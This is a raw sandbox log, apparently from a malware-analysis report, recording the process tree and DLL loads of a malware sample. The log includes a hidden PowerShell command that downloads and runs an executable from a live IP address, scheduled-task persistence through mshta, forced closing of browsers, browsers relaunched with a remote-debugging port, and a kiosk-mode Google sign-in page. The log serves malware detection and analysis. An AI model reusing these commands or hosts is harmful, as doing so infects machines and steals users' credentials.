Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe "C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe "C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe "C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe"
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2152,i,13429706516539662504,1098754642805780516,262144 /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe "C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe "C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe"
Source: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn RupFPmaDx0C /tr "mshta C:\Users\user\AppData\Local\Temp\os46r5CTT.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\os46r5CTT.hta
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn RupFPmaDx0C /tr "mshta C:\Users\user\AppData\Local\Temp\os46r5CTT.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\system32\mshta.EXE C:\Users\user\AppData\Local\Temp\os46r5CTT.hta
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: unknown Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {22a337dc-eac1-4f99-bf4c-7ecc631adcb9} 4236 "\\.\pipe\gecko-crash-server-pipe.4236" 1a10d96fd10 socket
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE "C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe "C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe"
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process created: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe "C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe"
Source: unknown Process created: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe "C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe"
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2148,i,11432689873093144826,17462610130296174979,262144 /prefetch:3
Source: unknown Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn 9FPCwmaAQCo /tr "mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn 9FPCwmaAQCo /tr "mshta C:\Users\user\AppData\Local\Temp\yH08AR1uj.hta" /sc minute /mo 25 /ru "user" /f Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE "C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE" Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'FQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d; Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE "C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE" Jump to behavior
Source: C:\Users\user\AppData\Local\TempFQ2YRR0KRJCZJUTBZU4VHDGVNMLBHPOB.EXE Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe "C:\Users\user\AppData\Local\Temp\1074960001\f9cb675f2a.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe "C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe "C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe "C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe "C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe "C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process created: C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe "C:\Users\user\AppData\Local\Temp\1R8VAMVCMJURVKW1AD8R7RQGWD8J.exe"
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1074962001\d04aa34f51.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=""
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1074963001\e65eefc791.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2332 --field-trial-handle=2152,i,13429706516539662504,1098754642805780516,262144 /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c schtasks /create /tn RupFPmaDx0C /tr "mshta C:\Users\user\AppData\Local\Temp\os46r5CTT.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Users\user\AppData\Local\Temp\1074964001\22a0986bef.exe Process created: C:\Windows\SysWOW64\mshta.exe mshta C:\Users\user\AppData\Local\Temp\os46r5CTT.hta
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1074961001\df1dfa8044.exe Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /tn RupFPmaDx0C /tr "mshta C:\Users\user\AppData\Local\Temp\os46r5CTT.hta" /sc minute /mo 25 /ru "user" /f
Source: C:\Windows\SysWOW64\mshta.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE "C:\Users\user\AppData\Local\TempIT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE"
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden $d=$env:temp+'IT9W4RB2COSCVHXC8LEINHLFZETORTDY.EXE';(New-Object System.Net.WebClient).DownloadFile('http://185.215.113.16/mine/random.exe',$d);Start-Process $d;
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2312 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {22a337dc-eac1-4f99-bf4c-7ecc631adcb9} 4236 "\\.\pipe\gecko-crash-server-pipe.4236" 1a10d96fd10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe Process created: unknown unknown
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1074965001\37a2af455e.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2172 --field-trial-handle=2148,i,11432689873093144826,17462610130296174979,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe Process created: unknown unknown
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: wsock32.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\px4Y74kUj2.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mshtml.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: powrprof.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: umpdc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msiso.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: srpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msimtf.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dxgi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: resourcepolicyclient.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: jscript9.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dataexchange.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d3d11.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dcomp.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: twinapi.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: msls31.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: d2d1.dll Jump to behavior
Source: C:\Windows\SysWOW64\mshta.exe Section loaded: dwrite.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: taskschd.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe Section loaded: xmllite.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
